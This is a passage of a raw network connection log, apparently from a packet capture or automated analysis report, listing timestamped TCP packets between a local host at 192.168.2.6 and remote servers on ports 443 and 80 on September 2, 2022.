Sep 2, 2022 14:02:34.349869013 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349886894 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349889994 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349931002 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349940062 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349978924 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349986076 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.350017071 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.350044966 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352161884 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352184057 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352206945 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352264881 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352274895 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352297068 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352304935 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352322102 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352348089 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352355957 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352366924 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352385998 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352396011 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352415085 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352435112 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352442980 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352478981 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352503061 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352525949 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352540016 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352566004 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352586031 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352612972 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352622032 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352657080 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352663994 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352688074 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352689981 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352715015 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352716923 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352739096 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352773905 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352786064 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.352812052 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352835894 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.352865934 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.358517885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.359309912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.375245094 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.375272989 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.375391006 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.377715111 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.377739906 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.377765894 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.377784014 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.377908945 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.377919912 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.377934933 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.377959967 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.377970934 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378000975 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378010035 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378053904 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378062010 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378086090 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378093004 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378119946 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378127098 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378139973 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378146887 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378204107 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378242970 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.378253937 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.378305912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.379185915 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.379203081 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.379276991 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.524188042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524225950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524259090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524274111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524292946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524305105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524350882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524591923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524619102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524642944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524656057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524667025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524682999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524707079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524732113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524759054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524769068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524781942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.524799109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.524844885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525003910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525027990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525053024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525070906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525083065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525099993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525276899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525304079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525326967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525360107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525373936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525388002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525635004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525661945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525686026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525702953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525716066 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525723934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525861025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525887966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525918961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525928020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.525944948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.525959015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526345015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526370049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526395082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526410103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526423931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526433945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526446104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526623964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526649952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526675940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526694059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.526715040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526732922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.526777029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.527180910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527211905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527236938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.527265072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.527282000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527299881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527321100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.527337074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527374983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527400970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527419090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.527431011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.527441025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528208971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528234959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528264999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528281927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528309107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528340101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528386116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528410912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528441906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528450966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528460026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528475046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528491020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528701067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528727055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528758049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528768063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528774977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528794050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528806925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528893948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528918982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.528939962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528964996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.528985023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529002905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529021978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529266119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529292107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529313087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529325962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529339075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529356956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529397964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529545069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529584885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529596090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529620886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529644966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529669046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529681921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529819012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529853106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529870033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529896021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.529921055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529947996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.529987097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530164003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530201912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530239105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530257940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530283928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530298948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530448914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530488968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530535936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530575991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530602932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530632973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530853033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530894041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530929089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530947924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.530977011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.530987978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532012939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532052994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532087088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532120943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532133102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532141924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532238007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532279015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532320023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532334089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532361031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532377005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532483101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532512903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532538891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532553911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532574892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532583952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532690048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532752037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532778978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532798052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.532810926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.532825947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533492088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533524990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533580065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533596992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533612013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533653975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533665895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533691883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533705950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533729076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533745050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533761024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533808947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.533955097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533981085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.533998013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.534024954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.534039974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534058094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534085989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.534270048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534297943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534320116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.534375906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534395933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.534419060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.534437895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535129070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535168886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535183907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535204887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535216093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535229921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535258055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535279036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535306931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535332918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.535356998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535381079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.535393000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.536007881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.536039114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.536066055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.536087990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.536104918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.536164999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.537168980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.537426949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.537478924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.537595034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.537642956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.538027048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538696051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538726091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538753033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538778067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538785934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.538808107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.538826942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538855076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538882971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538894892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.538913965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538924932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.538950920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.538975954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539002895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539016008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539033890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539046049 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539073944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539100885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539135933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539146900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539169073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539176941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539242029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539269924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539295912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539309025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539329052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539340019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539441109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539469004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539495945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539509058 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539530993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539537907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539563894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539592028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539618015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539632082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539652109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539661884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.539689064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.539715052 CEST	80	49787	85.209.157.230	192.168.2.6
